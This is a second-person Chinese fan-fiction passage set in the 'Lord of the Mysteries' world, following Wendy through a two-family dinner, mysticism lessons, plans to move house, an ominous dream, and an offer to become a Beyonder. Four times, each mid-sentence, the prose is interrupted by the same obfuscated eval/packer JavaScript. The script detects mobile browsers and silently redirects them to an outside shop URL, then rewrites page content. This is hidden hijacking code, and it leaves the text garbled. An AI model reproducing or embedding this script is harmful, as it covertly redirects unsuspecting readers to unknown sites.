看到你回来,父亲立刻笑着招呼:“我们家的‘办公室小姐’回来啦!就等你开饭了!” 然而,还没等你们准备出门,门外就传来了敲门声。开门一看,竟然是班森·莫雷蒂。他脸上带着爽朗的笑容,手里还提着一小瓶看起来不错的谷物酒。 “晚上好,佩洛蒙西娅先生,佩洛蒙西娅夫人,还有温蒂。” 班森热情地打招呼,随即说明了来意,“是这样的,听说温蒂找到了好工作,我们家克莱恩也入职了这家公司,还是同一天入职,这真是太巧了!而且温蒂还那么热心,给梅丽莎介绍了那么好的家教机会。我和克莱恩商量着,这怎么说也得庆祝一下,感谢一下。所以我就冒昧过来,想邀请你们全家,今晚咱们两家人一起出去吃顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193680|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭!热闹热闹,也让我们表示一下感谢!” 你的父亲显然有些意外,但很快被班森的真诚和热情感染,脸上笑开了花:“哎呀,这怎么好意思!你们太客气了!温蒂和克莱恩是同事,互相照应是应该的,介绍工作也是看梅丽莎那孩子自己争气!要请也该是我来请,你也是个大点的孩子罢了,请客也应该是我这个长辈庆祝两个孩子都找到好工作!” 父亲态度很坚决,觉得让对方请客不合适。 班森却坚持:“不不不,佩洛蒙西娅先生,您别这么说。这不仅仅是感谢,也是庆祝!温蒂和克莱恩在一个地方工作,以后就是真正的同事了,我们两家又住得近,这缘分多难得!这顿饭一定得我们请!” 两人就在门口你推我让起来,一个坚持要请客,一个坚决不肯让对方破费,气氛热烈。 你和母亲在一旁看着,相视一笑,都有些无奈。最终,在母亲温和的调停下,达成了折中方案:两家人一起出去吃,但费用各付各的,主要是为了聚在一起庆祝和热闹,不分谁请谁。 “那就这么说定了!” 班森一拍大腿,高兴地说,“我知道有家店的烤肋排和豌豆炖肉不错,价格也实惠!我这就回去叫上克莱恩和梅丽莎!” 于是,原本你预想中的小型家庭庆祝,戏剧性地变成了两家人热闹的聚餐。莫雷蒂家和佩洛蒙西娅家,一行六人,浩浩荡荡地走向了班森推荐的那家小餐馆。 路上,班森和你的父亲很快就聊得热火朝天,从工作聊到物价再聊到鲁恩政策;妈妈则是热心地跟你家和梅丽莎着持家心得和附近市场的菜价,虽然这个话题自己并不怎么感兴趣,但是妈妈说得头头是道,你不忍心打断她,装作一副耐心的样子。梅丽莎安静地走在克莱恩身边,偶尔和西里斯说几句话;克莱恩自然而然地落在了后面,你时不时回头看他,确保他不会感到被冷落。 看着前面热闹交谈的家人们,你轻声对克莱恩说:“看来,想低调地吃顿饭也不容易。” 克莱恩看着班森和你父亲勾肩搭背的背影,也忍不住笑了笑,那笑容里带着几分对家人行为的无奈,但更多的是温暖:“这样也挺好不是吗?” 你点点头,深有同感。在这个平凡的、充满食物香气和欢声笑语的夜晚,那些诡异的低语、扭曲的光影、灰雾之上的神秘存在,似乎都被暂时推远了。你们只是两个刚刚找到工作、被家人拉着庆祝的普通年轻人,走在廷根市夏夜的街头。 这顿晚餐吃得格外热闹和愉快。班森和你父亲喝了好几杯酒,父亲脸颊通红地回忆着年轻时的趣事;妈妈也聊着你和西里斯小时候的糗事,惹得大家笑声不断。梅丽莎虽然有些害羞,但在大家鼓励下,也小声说了些学校的趣闻;西里斯则对克莱恩那身新正装羡慕不已,问东问西。 你和克莱恩坐在一边,偶尔插几句话,大部分时间只是听着,吃着味道确实不错的烤肋排,感受着这久违的、纯粹的、属于平凡生活的温暖与喧嚣。 餐后,两家人尽兴而归。在分别前,班森还热情地约定了下次有空再聚。回到家中,帮忙收拾完后,你躺在床上,白天的紧张、傍晚的深谈、夜晚的欢聚……各种情绪交织,让你感到一种奇特的疲惫与充实。 很快,你感觉到眼皮的沉重,陷入了梦中…… 17. 弟17章 罗塞尔 第二天,7月1日,周日清晨。 你从深沉无梦的睡眠中醒来,感觉精神比想象中要好。昨夜似乎睡得格外沉,连个梦的影子都没有。直到你像往常一样提前来到黑荆棘安保公司,准备继续“刷好感”和请教神秘学知识时,才从邓恩队长那里得知了昨晚发生在克莱恩家的惊险事件。 “密修会的人潜入了莫雷蒂家?” 你倒吸一口凉气,推了推眼镜,心脏下意识地收紧。作为同样有父母和弟弟需要保护的人,你瞬间感同身受,一股寒意爬上脊背。“他们……他们没事吧?我是说莫雷蒂一家。” 邓恩·史密斯队长看起来有些疲惫,但眼神依旧沉稳,他示意你坐下,用平和的语气解释道:“放心,克莱恩和他的家人都安然无恙。潜入者已经被处理了。我们通过后续的……手段确认,他们的目标是寻找可能与那本笔记有关的线索,重点在克莱恩身上。根据目前的信息,没有迹象表明他们曾试图进入你家或针对你的家人。” 他顿了顿,灰色的眸子看着你,“你的谨慎和及时报警,可能也在一定程度上降低了你们家被直接关联的风险。不过,以后确实需要更加注意安全,尤其是你作为事件的关联者。” 你松了口气,但那种后怕感并未完全消散。你知道,自己和家人,已经因为自己的“高灵感”和那晚的蹲守,被卷入了这个世界的阴影边缘。保护他们的最好方式,或许不是逃避,而是更深入地了解这些阴影的规则。 “我明白了,队长。谢谢您。” 你真诚地道谢,同时也暗自下定决心。 离开队长办公室,你调整了一下心情,走向老尼尔所在的“查尼斯门”后区域。 老尼尔一般管着物资材料区域,区域里弥漫着草药和旧纸张的混合气味。老尼尔正在小心翼翼地用羽毛笔蘸着某种银色的液体,在一张古旧的羊皮纸上描画复杂的符号。 看到你进来,他抬起眼皮,露出和善的笑容:“哦,我们勤奋的新助手来了。今天想了解点什么?基础的象征学,还是常见的仪式魔法材料鉴别?” “都想学,尼尔先生,不想做选择题。” 你老实回答,就是这么求知欲满满。 你的目光被老尼尔手边一本摊开的、满是潦草手写体的笔记副本吸引。那上面的文字扭曲奇特,绝非现行的任何语言。 “那是……?” 你忍不住问道。 老尼尔顺着你的目光看去,呵呵笑了起来:“眼力不错嘛,小姑娘。这是罗塞尔大帝一些私人笔记的抄录本,当然,是密文部分的副本。” 他眼中闪烁着一种学者谈起偶像时的光芒,“那位大帝不仅是伟大的发明家、改革家,更是一位在神秘学领域也达到了不可思议高度的非凡者!他的许多奇思妙想和神秘学造诣,都记录在这种他自己发明的密文里。可惜啊,至今没人能完全破译。” 罗塞尔大帝! 你的心脏猛地一跳。这个名字对你来说,不仅是历史书上的伟人,更是你作为数学与应用数学专业学生心中一座璀璨的灯塔!他的许多数学思想和理论雏形,至今仍让你着迷。现在,你竟然得知,这位偶像在神秘学领域同样是一位巨人?而且,眼前就摆着他亲笔(虽然是后人抄录副本)的、未被破解的密文笔记? 一股混合着巨大兴奋与强烈好奇的热流瞬间冲散了之前的后怕。你几乎是下意识地向前凑近了一些,目光灼灼地盯着那些奇异的符号:“罗塞尔大帝,他、他也是非凡者?” 老尼尔看你这副模样,笑得更开心了,但也有几分过来人的唏嘘:“是啊,谁能想到呢?在我成为非凡者之前,我也完全没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193681|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到罗塞尔大帝还是一位强大的高序列非凡者。不过,我劝你先别太沉迷这些密文。” 他指了指自己花白的头发,“我像你这么大的时候,也幻想过自己是那个能解开罗塞尔大帝密码的天才,结果白白浪费了好多时间。这些密文牵扯的灵数、象征和神秘学知识极其深奥,没有足够的基础,看它就是天书,甚至可能产生误导,引发不必要的灵性扰动。” 你闻言,深吸了几口气,强迫自己把目光从那些充满诱惑力的符号上移开。老尼尔说得对,空中楼阁要不得。你点了点头,脸上露出释然和坚定的表情:“您说得对,尼尔先生。我现在最需要的是打好基础。罗塞尔大帝的密文……等我真正入门了,再来看也不迟!” 老尼尔眼中闪过一丝赞许:“拿得起,放得下,好!很多年轻人就缺这份踏实,我看你那副对罗塞尔大帝痴迷的样子,还以为……哎呦,真是我小看年轻人了。来吧,今天我们先从最基础的‘七曜象征’和‘四元素对应’开始。别小看这些,它们是解读大多数仪式符号和灵性材料特性的钥匙……” 你立刻收敛心神,拿出准备好的笔记本,如同在大学课堂上一样,开始认真听讲、记录、提问。老尼尔是个耐心的老师,讲解深入浅出,还穿插着许多生动的实例和小故事,让你这个神秘学门外汉迅速被吸引,进入了一种久违的、如饥似渴的学习状态。 这个周日的上午,就在占卜室的静谧、羊皮纸与墨水的气味,以及老尼尔平和的讲述声中度过。你暂时忘却了外界的危险和自身的忧虑,沉浸在对新世界基础规则的探索中。 中午离开公司时,你感到头脑充实,却又意识到自己不懂的还有太多。 这就是罗塞尔大帝说的“我们知道得越多,就越发发现自己的无知”吧。 18. 第18章 有钱了是不是搬家比较好呢? 结束了在老尼尔那里充实又令人头脑发胀的神秘学入门课,你往铁十字街下街走去。 阳光正好,街坊邻居们在门前闲谈,孩子们追逐打闹,一切似乎与往常并无不同。 然而,快走到你家和莫雷蒂家共住的那栋陈旧公寓楼时,你察觉到了不寻常的动静。 楼下停着一辆租来的、略显破旧但足够结实的四轮马车,班森·莫雷蒂正卷着袖子,和车夫一起,小心翼翼地将一个绑好的旧衣柜往外抬。梅丽莎抱着一个装满零碎物品的藤条箱跟在后面,脸上带着忙碌的红晕,但眼神明亮。 你愣了一下,快步走上前:“班森先生?梅丽莎?你们这是……?” 班森将衣柜在马车上固定好,擦了把汗,回头看到你,露出爽朗却略带歉意的笑容:“啊,是温蒂啊!我们正收拾东西呢,准备搬家了!” “搬家?” 你确实有些意外,虽然知道经历了昨晚的事,搬家或许是明智之举,但没想到行动如此迅速。 “是啊,” 班森点点头,压低了些声音,“克莱恩之前就跟我和梅丽莎商量过,觉得这里环境……嗯,对孩子成长和未来发展不是最理想。他找到新工作后,我们就更觉得该换个地方了。正好最近看中了水仙花街2号的房子,那边更安静些,邻居也多是体面人。昨晚克莱恩说还听见进了贼,还好没做什么害人的事……” 他含糊地带过,“正好也是个契机,就决定尽快搬过去了。” 这时,克莱恩也从楼道里走了出来,手里提着两个沉重的皮箱。他换了身方便活动的旧衣服,额头上也有一层薄汗,看到你,点了点头,神色平静:“温蒂,你回来了。我们准备搬到水仙花街那边去,已经和房东说好了。” 他放下手提箱,走了过来,脸上带着一丝歉意和如释重负:“温蒂,抱歉,没来得及提前告诉你。搬得比较急。” 他的语气很自然,仿佛这只是个筹划已久的普通家庭决定,而非仓皇逃离。你看着他们有条不紊地搬运着不算多的家当,梅丽莎甚至还记得把那盆长势不错的绿萝也抱了出来。 克莱恩显然没有被昨晚的袭击打乱阵脚,反而借此机会,顺理成章地推动了早就有的搬家计划。 这也让你心里那点因得知潜入事件而产生的后怕,稍微平复了一些——至少,你的这位同事兼邻居,并非全然被动,他在用自己的方式应对风险。 “恭喜乔迁!” 你送上真诚的祝福,帮忙接过梅丽莎手里一个较轻的包裹,“水仙花街那边确实不错,离大学区和几个公园都近,环境也好。需要帮忙吗?” “不用不用,就这点东西,很快就好。” 班森连忙摆手,笑容满面,“今天真是麻烦你了,还让你碰上我们忙乱的时候。等我们安顿好了,一定请你们全家来做客!” 克莱恩也对你笑了笑:“谢谢。这边……毕竟住了很久,还有点舍不得。不过,为了更好的生活,总得往前走。” 你点点头,表示理解。目送着他们将最后一点行李搬上马车,班森和梅丽莎坐了进去,克莱恩则选择步行,说是要再最后看一眼周围,顺便熟悉一下新路线。 马车缓缓驶离铁十字街下街,扬起细微的尘土。你站在路边,看着那栋一下子显得有些空荡的公寓楼,又回头看了看自家那扇熟悉的窗户,一个念头不可抑制地冒了出来: “我们家……是不是也该考虑搬家了?” 之前是经济拮据,无可奈何。但现在,你有了“黑荆棘安保公司”这份稳定且收入尚可的工作(至少对家庭来说是笔重要的补充),所以也可以改善生活质量了吧?西里斯也需要更好的成长环境,以及最重要的,远离可能的潜在风险。 尽管邓恩队长说密修会的目标明确,暂时未波及你家,但谁能保证未来不会有其他麻烦?铁十字街下街的治安和人员复杂程度,终究是隐患。 …… 你回到家,推开家门,母亲正在缝补一件旧衣服,看到你回来,抬头笑道:“回来啦?饿不饿?我烧了热水,现在应该还温的。” 你接过母亲递来的温水,在她旁边的椅子上坐下,看着她在暖黄灯光下飞针走线的娴熟手指,组织了一下语言,用闲聊般的语气开口: “妈,我刚回来时,看到隔壁莫雷蒂家在搬家呢,动作真快。” 你自然地起了话头。 母亲抬起头,有些惊讶:“搬家?这么快?搬去哪儿了?” “水仙花街那边,说是克莱恩早就有这个打算了,找到新工作后就更确定了。” 你喝了口水,继续道,“莫雷蒂家兄妹俩都很努力,克莱恩有了体面工作,梅丽莎看着也乖巧懂事,搬去更好的地方也是应该的。” 你顿了顿,观察着母亲的表情,见她露出赞同和些许羡慕的神色,便顺势往下说,“我在想……咱们家是不是也可以开始考虑一下,换个环境好点的地方?” 母亲手上的针线活慢了下来,她看向你,眼神里有询问,也有期待:“怎么突然说起这个?咱们在这儿住了这么多年……” 你没有直接回答,而是把话题引向更具体的家庭关切:“妈,你看西里斯也一天天大了。铁十字街这边……孩子玩闹的环境是热闹,但终究鱼龙混杂了些。学校也离得远,以后他要是想去好点的中学,住得近些也方便。” 你看到母亲的眼神认真起来,知道说到了点上,“还有你和爸爸,爸爸每天在码头干活那么辛苦,回来路上就要走好久。要是能搬到离码头近些、或者交通更方便的地方,爸爸也能多休息会儿。您也不用总担心晚上治安不好了。” 母亲轻轻叹了口气,放下手里的活计:“你说得是理。以前是没办法,你爸那点工资,养活咱们三个,还要供你读书,就算你懂事经常给学生补课补贴家用,日子也有点紧巴巴的。现在……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193682|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看向你,“现在你有了工作,是能宽裕些。可搬家是大事,房租、押金、添置东西,处处要钱。” 你知道母亲心动了,但仍有现实的顾虑。 你握住母亲粗糙却温暖的手,声音放得更柔和,也更坚定:“妈,我现在的工作有固定津贴,虽然不算特别多,但稳定。加上爸爸的工资,我们仔细规划,在水仙花街或者类似的地方租个稍大一点、干净安全点的房子,应该是够的。哪怕一开始紧一点,但为了西里斯,为了你和爸爸能住得舒心点,值得。而且,” 你斟酌了一下用词,决定采用更委婉的安全理由,“我这份新工作,有时候可能需要在公司待到很晚,忙起来了走夜路说不定也是经常的,但你也知道我们这里,夜深了总觉得不太安全,换个治安更好、邻里更单纯的地方,我也放心点。” 你没有提任何关于“密修会”或类似于“潜在危险”的字眼,但“治安更好”、“安心”这些词,足以触动母亲内心深处对家人安全的担忧。尤其是想到你这份听起来体面的工作,她的天平明显倾斜了。 母亲反握住你的手,轻轻拍了拍:“你这孩子,想得比妈还周到……等你爸晚上回来,咱们一起好好商量商量。是得好好打算打算了。水仙花街,我听说那边确实挺好,邻居多是正经人家。” 她已经开始不由自主地想象新家的样子了,你知道妈妈这边基本上是说通了。 晚上,父亲回来后,一家人围坐在餐桌旁。母亲把你的想法和理由,加上她自己对更好生活的向往,一起告诉了父亲。父亲听着,最初有些犹豫,主要是担心经济压力,但在听到你对收入的计算和规划,尤其是提到“为了西里斯将来”和“让温蒂工作更安心”时,这个沉默寡言、为家庭辛勤付出的男人,最终还是缓缓点了点头。 “那就先留意着。” 父亲的声音有些沙哑,但很坚定,“看看有没有合适的房子,租金不能太贵,地段要安全,离我上工和你妈买菜的地方也不能太远……咱们慢慢找,不着急,找到了,就搬。” 西里斯虽然不太完全明白搬家的所有意义,但听说可能会有自己的小房间,还能住在更“好玩”的街区,也兴奋地拍起了手。 家庭会议达成初步共识:开始寻找新的出租屋,目标是比铁十字街下街环境更好、更安全的街区(如水仙花街及其周边),在可承受的租金范围内,逐步改善家庭生活条件。 你能感觉到这个决定让家里的气氛变得有些不一样,充满了对未来的期盼和共同努力的目标感。你知道,这只是第一步,找房子、搬家、适应新环境,还有很多具体的事情要做。但至少,你们一家人有一个共同的目标和对未来生活的盼头。 当晚,你躺在自己的小床上,听着窗外铁十字街熟悉的、偶尔夹杂着醉汉喧哗和狗吠的夜晚声响,第一次如此清晰地希望不久后能在一个更安静、更安全的地方入睡。 19. 第19章 其实我是一个绝望的文盲 躺在狭窄却熟悉的小床上,你听着窗外铁十字街夜晚特有的“交响乐”——远处码头隐约传来的汽笛声、近处酒馆尚未散尽的喧嚣、不知哪家婴儿的啼哭、还有野猫断断续续的叫声。 这些曾经让你觉得嘈杂甚至烦闷的声音,此刻因为“即将可能告别”,竟生出几分复杂的不舍。 你开始认真规划起明天的行动:早点去公司,找个机会向伦纳德、老尼尔或者看起来沉稳可靠的科恩黎旁敲侧击一下,打听水仙花街或类似街区的房源。值夜者们常年处理各种事件,人际关系和信息网络应该比普通市民广得多,说不定真有门路。 如果能和克莱恩(他现在也算半个值夜者内部人员了)继续做邻居,或者和某位正式值夜者队员住得近些,安全感无疑会大大增加。 这个想法让你心里踏实了一点,对未来的新生活也生出些微憧憬。 那明天周一就去问问吧。 你正闭上眼睛,突然一个冰冷而沉重的念头便猛地砸了下来,将所有暖意驱散得一干二净——你瞬间瞪大双眼从床上坐了起来。 明天下午三点! 那个恢弘而淡漠的声音仿佛再次在脑海中回响:“当下一次聚会召开,灰雾会给予你启示。” 愚者先生的聚会! 你不由自主地蜷缩了一下身体,把薄被拉高了些。一个自称“愚者”、高踞于无尽灰雾之上、随手就能将人拉入神秘空间的古老存在……祂关注着我! 这个认知带来的不是荣耀或机遇感,而是一种近乎本能的、冰冷的恐惧。你只是一个灵感稍高、不小心撞破了超凡事件边缘的普通大学生,何德何能被这样的存在注视? “寻求知识,交换信息……” 那声音的余韵在你脑中盘旋。交换?我拿什么去交换?你感到一阵绝望的焦虑。你才跟着老尼尔学了点神秘学的皮毛,这在那些可能活了不知道多久的老怪物眼里,恐怕连常识都算不上吧?难道要分享今天午饭吃了什么吗? 书上的信息算吗?你悲哀地想,《数学分析》或者《几何代数》可以吗?我专业课学得挺好的……别开玩笑了…… 不分享的话……会被愚者打死吗? 一个更可怕的念头不受控制地冒出来。虽然那位“愚者”先生看起来似乎遵循某种“等价”原则,甚至赐予了你“命运之轮”的代号,已经是非常友善了,但谁知道触怒一位神秘存在的下限在哪里?你一点也不想用自己的小命去测试。 “我只是灵感高了一点,我什么都没干啊……” 你几乎要委屈得哭出来。 韦尔奇的摊主不是自己找的,那本破书不是自己买的,报警是公民义务,被值夜者吸纳是因为提供了线索和画像,被拉上灰雾更是莫名其妙!“凭什么就盯上我了……” 你在心里无声地呐喊,充满了对无常命运的无力感。 你甚至想起了下午在老尼尔那里看到的罗塞尔大帝密文笔记。那些扭曲的符号,那些可能蕴含着这位传奇大帝毕生智慧与神秘学奥秘的文字……“这算高端知识吗?当然算!可我看不懂啊!” 你更绝望了。空有宝山而不得入其门,这比一无所知更让人扼腕。 恐惧、焦虑、委屈、还有一丝对未知聚会的好奇(这好奇很快被更大的恐惧压了下去),种种情绪交织在一起,让你在床上辗转反侧。 窗外的嘈杂渐渐平息,月光透过不甚干净的玻璃窗,在地板上投下冷清的光斑。你瞪着那片光斑,脑子里像走马灯一样闪过那晚扭曲的光影、灰雾之上的宏伟宫殿、值夜者总部阴冷的查尼斯门、老尼尔描绘的象征符号、以及明天下午三点这个如同倒计时般的时刻…… 最终,疲惫还是战胜了焦虑。在一种近乎认命的、带着悲壮色彩的绝望感中,你的意识逐渐模糊。“算了,神明的事情,谁说的清楚呢?明天……再说吧……” 最后一个念头消散,你终于沉入了并不安稳、却总算隔绝了部分现实焦虑的睡眠之中。 月光静静移动,照在你微微蹙起的眉心上。铁十字街的夜晚,终于彻底安静下来。 …… 你在做梦。你清晰地意识到这一点。 你的睡眠沉重却不安稳,如同沉在意识的海底,却仍能感觉到水面之上风暴的涡旋。那些对“愚者”、对聚会的焦虑,以及连日来接触的非凡知识碎片,在你的潜意识里发酵、碰撞,最终酿成了一个光怪陆离、毫无逻辑却又带着奇异真实感的梦。 你发现自己置身于一个纯白、无边无际、却又仿佛有着弧形的、蛋壳般内壁的空间。这里没有上下左右的概念,脚下是柔软的、仿佛云朵又似实质的白色“地面”,头顶和四周则是同样的、微微发着柔光的弧壁,无限延伸又似乎触手可及。空气,如果这里存在空气的话,你觉得空气是凝滞的,时间感在这里模糊不清。 然后,你看到了它们。 两条庞大到难以想象的银白色巨蛇,正无声地在这纯白空间的核心处纠缠、撕咬。它们的躯体并非血肉,更像是流动的水银凝聚而成,又仿佛由无数细密的、闪烁着微光的符文链环接而成。每一条都长达不知几许,鳞片或链环闪耀着冰冷而神圣的光泽,仅仅是一片鳞甲,仿佛就比你的整个人还要庞大。 它们没有发出任何声音,但那纠缠扭动的姿态、彼此撕扯时迸溅出的银色光点,都带着一种古老、原始、却又无比庄严的暴力感。它们的存在本身,就让这片纯白空间微微震颤。 你渺小得如同一粒尘埃,本能地想找个缝隙藏起来,远离这超越理解的巨物之争。你徒劳地四下张望,纯白的“蛋壳”光滑无比。 就在这时,在又一次激烈的缠绕撕扯中,其中一条蛇似乎用尾尖重重击打在另一条的颈侧,一小团银白色的、不断变幻着形状、内部仿佛有星云旋转的光团被震得脱离了蛇躯,无声地朝着你所在的方向抛飞过来。 它滚动着,跳跃着,最后不偏不倚,停在了你的脚边,光芒微微收敛,变成一个拳头大小、表面流淌着水银般光泽的多面体。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193683|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 空间骤然一静。 那两条正在生死相搏的银白巨蛇,动作同时僵住。它们那庞大到令人窒息的头颅,缓缓地、同步地转向了你这个微不足道的“点”。四只巨大的、如同最纯净的月长石雕琢而成的竖瞳,聚焦在你,以及你脚边那小小的光团上。 时间仿佛凝固了。 你仰着头,与那两对非人的、倒映着整个纯白空间和你渺小身影的巨眸对视。出乎意料的是,你心中并没有涌现出预想中的、足以摧毁理智的恐惧。巨蛇的眼神里,没有捕食者的贪婪,也没有被冒犯的愤怒,只有一种深沉的、近乎漠然的审视。 就在这诡异而静止的对峙中,你头顶上方那片纯白的“蛋壳”穹顶,突然毫无征兆地裂开了一道缝隙。 那不是物理的裂缝,更像是空间本身被撕开的一道口子。裂缝内部并非黑暗,而是更深邃、更无法形容的虚无。紧接着,裂缝的边缘蠕动、变化,形成了一只眼睛的轮廓。 那眼睛巨大无比,几乎占据了半边“天空”。它没有眼白与瞳孔的分别,整个眼眸呈现出一种淡漠到极致、却又纯粹到极致的色泽,仿佛包含了所有颜色,又仿佛什么颜色都没有。它就这么“睁开”,静静地“注视”着下方的一切——你、巨蛇、光团,以及这片纯白空间。 被这只眼睛“注视”的瞬间,整个纯白空间发出了不堪重负的、仿佛玻璃即将破碎般的细微脆响。蛋壳般的弧形内壁开始出现蛛网般的裂纹,空间本身开始向内坍塌、压扁,如同被一只无形巨手捏住的纸团。 没有巨响,没有狂风,只有一种绝对的、令人灵魂冻结的终结感。 下一刻,你猛地从床上弹坐起来,心脏狂跳,冷汗瞬间浸透了睡衣。 清晨微弱的曦光透过窗户,落在你剧烈起伏的胸口上。铁十字街熟悉的清晨声响隐约传来。 你大口喘着气,花了十几秒钟才确认自己真的醒了,正安全地躺在自己的床上。梦中的细节——纯白蛋壳、银白巨蛇、掉落的光团、最后那淡漠的眼睛和空间的崩塌——依旧清晰得可怕,带着一种难以言喻的、超越现实的质感。 你揉了揉胀痛的太阳穴,试图分析这个荒诞的梦:“白色空间……巨蛇互斗……掉东西……还有眼睛……这都什么跟什么啊?” 联想到自己睡前对“愚者”和非凡知识的极度焦虑,你勉强给自己找到了一个解释:“肯定是日有所思夜有所梦,被老尼尔讲的象征学和这两天的事情刺激到了。蛇?好像在神秘学里象征很多,智慧、邪恶、循环什么的……那双眼睛,该不会是我潜意识里把愚者给梦出来了吧?” 你摇摇头,觉得这个梦虽然离奇,但大概只是精神压力过大导致的混乱产物。 “毫无逻辑。” 你下了结论,决定不再纠结。比起解析一个荒诞的梦境,如何应对几个小时后就要到来的、真实的愚者先生的聚会,才是眼下更迫在眉睫的难题。 你起身,开始洗漱,准备迎接这注定心神不宁的一天。 20. 你愿意成为非凡者吗 洗漱完毕,准备上班! 你深吸一口带着淡淡咖啡和旧纸张气味的空气,推开黑荆棘安保公司的大门。罗珊正背对着门口,在接待厅的小台子上手忙脚乱地冲泡着咖啡,浓郁的香气弥漫开来,为这栋略显阴沉的建筑带来一丝生活的暖意。 “早上好,罗珊小姐。” 你轻声打招呼,尽量不惊扰到她。 罗珊转过头,脸上带着一如既往的、友善的笑容:“早上好,佩洛蒙西娅小姐。队长在办公室。” 你点头致谢,径直走向队长办公室,敲了门,得到允许后进去。邓恩·史密斯队长正坐在堆积如山的文件后,眉头微锁,但看到你,神色缓和了些。 “早上好,队长。我来……嗯,看看今天有什么我能帮忙的?” 你态度恭敬。作为编外人员,你很清楚自己的定位,主动找活干总没错。 邓恩揉了揉眉心,从旁边抽出一叠相对不那么重要的旧档案:“来得正好,温蒂小姐。这些是几年前一些已结案的普通卷宗,需要重新归档和编制索引。麻烦你了。” “好的,队长。” 你接过文件,准备去外面的小桌子开始工作。 就在这时,接待厅传来了推门声,紧接着是罗珊问候的声音。你抱着文件走出去,正好看到克莱恩走了进来。 他果然穿着昨天那身崭新的黑色正装,白衬衣扣得一丝不苟,领带也打得规整,只是额角微微见汗——七月的廷根,哪怕是一大早,这身行头也着实有些闷热。你心里默默想。 这就是绅士风度的代价吗?”不过想到今天是周一,算是你们作为员工以来第一个工作日,认真对待也就不奇怪了,还是多同情同情需要面对愚者先生的自己吧。 “早上好,克莱恩。” 你自然地打招呼,没有放下文件,“今天也很精神。” “早上好,温蒂。” 克莱恩也点头回应,目光扫过你怀里的文件,又看向刚刚从办公室探出头来的邓恩队长,似乎有些欲言又止。 你大概知道有什么是克莱恩有什么话要私底下和队长说,你在这里不便谈,于是知趣地抱着文件继续往外走。 “温蒂,还有一件事。”邓恩队长叫住了你。他看了看克莱恩,又看了看你,仿佛突然想起了什么。他清了清嗓子,对你说:“温蒂小姐,稍等一下,有件事需要通知你们两人。” 他示意你和克莱恩都进来。你们依言走进办公室,门被轻轻关上。气氛似乎变得有些正式起来。 邓恩队长双手交叠放在桌上,目光在你和克莱恩之间扫过,最后先定格在克莱恩身上:“莫雷蒂先生,鉴于你在应对密修会非法潜入事件中的……贡献,以及你在初步评估中展现出的潜质,根据规定,你获得了一次选择的机会。” 他的语气平稳而郑重。 你的心微微一提,嘴巴下意识地张开了一点。密修会潜入事件?克莱恩果然在其中扮演了更关键的角色,或者至少承担了更大的风险。这机会……听起来像是某种“奖励”或“晋升”的开端?一种混合着惊讶、了然,以及一丝丝难以避免的酸涩感涌上心头。就像……就像在老师面前努力表现,结果老师却把唯一的“班长”名额给了另一位同样优秀、甚至可能默默做了更多的同学。你迅速调整呼吸,压下那点小情绪,告诫自己:这是克莱恩应得的,风险与机遇并存。 你看向克莱恩,他的脸上有一丝惊讶,但似乎并不意外。 看来队长已经跟他说过了……好吧,原来我的定位是职场里同事转正最后知道的人,不过克莱恩的机会是凭他自己的能力获得的,这是应该的。 你扬起一个真诚的微笑,轻轻鼓掌:“恭喜你,克莱恩。” 声音里听不出任何异样,只有纯粹的祝贺。心里却忍不住嘀咕:之前还说罩着人家呢,结果人家转正的速度可比自己快多了。 邓恩队长却笑了笑,目光转向了你,那笑容里带着一种让你心跳漏了一拍的意味:“别急着恭喜他,佩洛蒙西娅小姐。” 你的笑容僵在脸上,心跳莫名加速,一种混合着期待的猜想开始漫上心头。 邓恩收敛了笑容,表情变得如同之前在查尼斯门后宣布戒律时那般庄重而严肃,灰眸直视着你:“温蒂·佩洛蒙西娅女士,鉴于你在有关安提哥努斯笔记的事件中,及时发现异常、提供关键线索与画像的突出贡献,以及加入以来所表现出的责任感、观察力与对值夜者工作的认同,经审议,你同样获得了一次选择的机会。” 惊喜!巨大的惊喜! 